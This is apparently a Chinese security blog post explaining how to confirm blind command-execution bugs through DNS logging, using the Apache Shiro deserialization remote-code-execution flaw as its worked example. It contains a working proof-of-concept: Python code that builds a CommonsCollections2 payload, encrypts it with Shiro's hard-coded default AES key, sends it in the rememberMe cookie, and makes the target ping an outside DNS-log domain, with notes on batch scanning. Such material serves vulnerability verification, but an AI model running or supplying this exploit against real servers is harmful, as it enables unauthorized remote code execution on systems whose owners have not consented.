漏洞存在与否,无法从web获取到标志性的信息,Java反序列化漏洞即属于该类型。
针对无回显的命令执行漏洞,让目标机执行wget
、nc
或者curl
等命令,然后在公网主机监听对应的端口,通过日志来判断命令是否被执行。
该方法可行,不过缺陷有以下几点:
一种更好的方式是使用dns日志来判断命令是否执行,流程如下:
1dsa3r3.shiro.server.com
ping 1dsa3r3.shiro.server.com
这种方法首先适应了win/unix系统,二者均自带ping命令。而且执行DNS的速度要快于TCP。
使用ping
命令的时候有个坑,大部分linux系统执行ping xxxx
时候会一直ping下去,而不是win里面执行4次之后退出。
解决方案:使用 ping -n 3 xxx.com || ping -c 3 xxx.com
可以解决该问题并保证兼容性。
实际情况中会遇到很多入口与出口不同的情况,即我们向主机A发送payload,但是主机B执行了我们的ping命令。这时我们dns日志中的IP与A的IP无法匹配,就会造成漏报。
解决方案:为每次验证生成独立、随机的域名,如[random].shiro.xxx.com
,在[random]
处使用10位随机字符或者递增的数字。这样只要以该域名为准查找日志,即可同时匹配到入口和出口主机IP。
以Apache Shiro Java反序列化远程命令执行漏洞为例。
昨日Knownsec 404发出的分析文章:
https://www.seebug.org/vuldb/ssvid-92180
https://github.com/Xyntax/POC-T/blob/master/script/shiro-deserial-rce.py
shiro
为特征组的随机域名,即:[random].shiro.user.dnslog.info
ping
命令ping
命令生成反序列化payload
requeests
以GET请求的Cookie
字段发送payload
Cloudeye
接口查看dns日志,在日志中匹配之前构造的域名from plugin.cloudeye import CloudEye
def poc(url):
target = 'http://' + url if '://' not in url else url
try:
cloudeye = CloudEye()
domain = cloudeye.getRandomDomain('shiro') # 设置dns特征域名组
rce_command = 'ping -n 3 %s || ping -c 3 %s' % (domain, domain) # 目标机执行的代码
payload = generator(rce_command, JAR_FILE) # 生成payload
requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求
dnslog = cloudeye.getDnsRecord(delay=1)
if domain in dnslog:
msg = url
for each in re.findall(r'client (.*)#', dnslog): # 获取出口ip
msg += ' - ' + each
return msg
except Exception, e:
pass
return False
生成payload
的原理在上面链接文章有分析和相应代码,稍加修改,需传入要目标机执行的命令和本地jar的位置:
def generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
简单写了个CloudEye功能接口,用于生成域名和获取dns/Apache日志,整合在PoC框架中,使用前需要配置。
https://github.com/Xyntax/POC-T/blob/master/plugin/cloudeye.py
批量验证:
CloudEye日志: